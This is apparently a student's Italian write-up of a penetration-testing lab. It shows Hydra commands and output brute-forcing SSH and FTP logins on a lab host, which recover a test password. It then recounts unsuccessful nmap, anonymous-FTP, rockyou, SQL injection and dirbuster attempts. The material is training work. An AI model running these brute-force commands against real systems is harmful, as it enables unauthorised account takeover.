

Questo è il risultato dell'esercizio guidato:

```
andre@kali: ~  
File Actions Edit View Help  
(andre@kali)-[~]  
$ hydra -L listautser.txt -P listapassword.txt 192.168.1.62 -t4 ssh  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service  
e organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway)  
.  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 06:05:55  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous  
session found, to prevent overwriting, ./hydra.restore  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 441 login tries (l:21/p:21), ~111 tries per task  
[DATA] attacking ssh://192.168.1.62:22/  
[STATUS] 42.00 tries/min, 42 tries in 00:01h, 399 to do in 00:10h, 4 active  
[STATUS] 42.33 tries/min, 127 tries in 00:03h, 314 to do in 00:08h, 4 active  
[STATUS] 42.43 tries/min, 297 tries in 00:07h, 144 to do in 00:04h, 4 active  
[STATUS] 41.62 tries/min, 333 tries in 00:08h, 108 to do in 00:03h, 4 active  
[STATUS] 41.33 tries/min, 372 tries in 00:09h, 69 to do in 00:02h, 4 active  
[STATUS] 41.10 tries/min, 411 tries in 00:10h, 30 to do in 00:01h, 4 active  
[22][ssh] host: 192.168.1.62 login: user password: testpass  
[STATUS] 40.09 tries/min, 441 tries in 00:11h, 1 to do in 00:01h, 3 active  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 06:17:07  
(andre@kali)-[~]  
$
```

ho creato delle liste personalizzate con una ventina di username e password.

Come altro servizio ho scelto FTP:

```
(andre@kali)-[~]  
$ hydra -L listautser.txt -P listapassword.txt 192.168.1.62 -t4 ftp  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (th  
is is non-binding, these *** ignore laws and ethics anyway).  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 07:10:31  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hy  
dra.restore  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 441 login tries (l:21/p:21), ~111 tries per task  
[DATA] attacking ftp://192.168.1.62:21/  
[STATUS] 76.00 tries/min, 76 tries in 00:01h, 365 to do in 00:05h, 4 active  
[STATUS] 74.67 tries/min, 224 tries in 00:03h, 217 to do in 00:03h, 4 active  
[21][ftp] host: 192.168.1.62 login: user password: testpass  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 07:16:53
```

Per quanto riguarda l'extra non ci sono riuscito comunque ho iniziato facendo un nmap con cui ho potuto verificare quali porte erano aperte ed i vari servizi attivi in ognuna di queste.

## [REPORT NMAP](#)

Quindi sono entrato nel servizio ftp con anonymous ed ho trovato la lista degli user, mi sono fermato qui, un po' perchè non ho avuto tempo un po' perchè non sono riuscito a sfruttare ciò che ho trovato; con quella lista ho provato a forzare le password con hydra avendo la lista degli user e per le password usando la lista rockyou ma non è riuscito a trovare niente. Per quanto riguarda HTTP ho provato a fare qualcosa ma SQL injection mi sembra che non erano sfruttabili, poi ho provato a navigare un po nelle varie directory anche con l'aiuto di tool come dirbuster ma non ho trovato nulla di rilevante. Mi dispiace non esserci riuscito però mi sono divertito ed ho capito che ho bisogno di rivedermi qualche concetto 😊